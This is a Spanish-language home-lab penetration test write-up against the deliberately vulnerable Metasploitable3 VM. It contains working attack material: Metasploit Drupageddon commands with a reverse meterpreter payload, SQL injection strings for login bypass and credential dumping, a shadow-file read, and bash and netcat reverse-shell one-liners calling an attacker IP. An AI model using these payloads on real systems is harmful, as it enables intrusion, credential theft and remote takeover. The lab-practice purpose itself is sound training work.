Metasploitable3 — Informe de Prueba de Penetración

Autor: Arlen Fortunato
Fecha: Septiembre 2026
Entorno: Parrot OS (atacante) → Metasploitable3 Ubuntu 14.04 (objetivo)
Alcance: Prueba de penetración de red completa — enumeración, explotación, escalada de privilegios, post-explotación
Tipo: Home Lab / Práctica de Capture The Flag

⚠️ Todas las credenciales a continuación están censuradas. Este fue un ejercicio legal y aislado en un laboratorio doméstico.

Herramientas Utilizadas

Reconocimiento — Escaneo Completo de Puertos con Nmap

nmap -O -sV -p- -oA metasploitable3 <TARGET_IP>

SO: Linux Ubuntu 14.04, Kernel 3.13.0-24-generic x86_64

Resumen de Hallazgos

Detalles de los Hallazgos

1. UnrealIRCd 3.2.8.1 (CVE-2010-2075) — Falso Positivo

Vulnerabilidad: UnrealIRCd 3.2.8.1 se distribuía históricamente con un binario troyanizado que ejecuta comandos arbitrarios cuando un cliente no autenticado envía una cadena de activación antes del registro — RCE como el usuario del demonio IRC.

Intento de explotación: Módulo de Metasploit exploit/unix/irc/unreal_ircd_3281_backdoor con payloads cmd/unix/reverse_perl, cmd/unix/reverse_netcat, cmd/unix/reverse_bash. La verificación automática del módulo reportó el servicio como vulnerable; ninguna sesión devuelta con ningún payload.

Solución de problemas realizada:

• Puerto accesible (nc -vz)
• Puerto confirmado como IRC en texto plano, no TLS (openssl s_client)
• Conexión inversa manual desde el objetivo confirmó que la red saliente funciona
• Activación manual del backdoor mediante nc devolvió error de protocolo IRC 451 — el comando fue interpretado como comando IRC, nunca ejecutado

Conclusión: El banner de versión indica la compilación vulnerable, pero el backdoor está ausente en esta instancia (binario limpio/recompilado). Clasificado como no explotable — falso positivo, con evidencia.

2. Drupal 7.5 — Drupageddon (CVE-2014-3704)

Vulnerabilidad: Drupal 7.x anterior a 7.32 contiene una inyección SQL crítica en la capa de abstracción de base de datos que permite ejecución remota de código sin autenticación.

Confirmación de versión: CHANGELOG.txt → "Drupal 7.5, 2011-07-27"

Explotación:

msfconsole
use exploit/multi/http/drupal_drupageddon
set RHOSTS <TARGET_IP>
set TARGETURI /drupal/
set LHOST <ATTACKER_IP>
set payload php/meterpreter_reverse_tcp
run

Resultado:

getuid  → www-data
sysinfo → Linux ubuntu 3.13.0-24-generic x86_64
pwd     → /var/www/html/drupal

Enumeración post-explotación:

• /var/www/html: chat/, drupal/, payroll_app.php, phpmyadmin/
• /home: 16 cuentas de usuario

3. Aplicación de Nóminas — Inyección SQL Basada en UNION (Manual)

Vulnerabilidad: Formulario de inicio de sesión de payroll_app.php, inyección SQL en el campo de contraseña. Sin automatización — creada mediante curl.

Paso 1 — Omisión de autenticación:

' or 1=1#

' cierra la cadena SQL, or 1=1 fuerza verdadero, # comenta la comilla final.

Paso 2 — Conteo de columnas + mapeo de visualización:

' UNION SELECT null, null, null, null#     -- sin error = 4 columnas
' UNION SELECT 1, 2, 3, 4#                 -- marcadores: 1=Username, 2=First, 3=Last, 4=Salary

Paso 3 — Enumeración de information_schema:

Paso 4 — Volcado (contraseñas censuradas):

' UNION SELECT username, password, salary, null FROM users#

4. SSH — Credenciales por Defecto y Reutilización de Credenciales

Ruta 1 — Cuenta por defecto: el par de credenciales por defecto vagrant autenticado mediante SSH → usuario en el grupo sudo con (ALL : ALL) NOPASSWD: ALL.

Ruta 2 — Reutilización de credenciales: credenciales obtenidas del volcado SQLi autenticadas directamente mediante SSH como otro usuario del laboratorio (luke_skywalker, grupo sudo, (ALL : ALL) ALL).

Importancia: demuestra la reutilización de credenciales entre servicios — credenciales de aplicación mapeadas a una cuenta de sistema.

5. Escalada de Privilegios (Dos Rutas)

• Ruta A: vagrant → sudo -l muestra NOPASSWD: ALL → sudo su - → uid=0(root).
• Ruta B: luke_skywalker → sudo (ALL : ALL) ALL → sudo su - → uid=0(root).

No se requirió exploit local — ambas cuentas poseen permisos sudo excesivamente permisivos.

6. Volcado de Shadow

sudo cat /etc/shadow

Se extrajeron 16 hashes md5crypt ($1$) — recolección completa de credenciales tras la escalada de privilegios.

7. Post-Explotación — Reverse Shells

Payload 1 — bash:

bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1

Capturado en nc -lnvp 4444 → shell interactiva.

Payload 2 — netcat (named-pipe):

mkfifo /tmp/fifo; nc <ATTACKER_IP> 4445 0</tmp/fifo | /bin/sh >/tmp/fifo 2>&1; rm /tmp/fifo

Capturado en nc -lnvp 4445 → shell interactiva.

Mecanismo: el named pipe (FIFO) conecta stdin/stdout de netcat a /bin/sh, formando un túnel bidireccional de un solo socket; el FIFO se elimina después.

Recomendaciones de Remediación

Descargo de Responsabilidad

Todas las pruebas se realizaron exclusivamente en un laboratorio doméstico aislado utilizando software intencionalmente vulnerable (Rapid7 Metasploitable3). No se comprometieron sistemas de producción ni objetivos no autorizados. Este informe es solo para fines educativos y desarrollo personal de habilidades.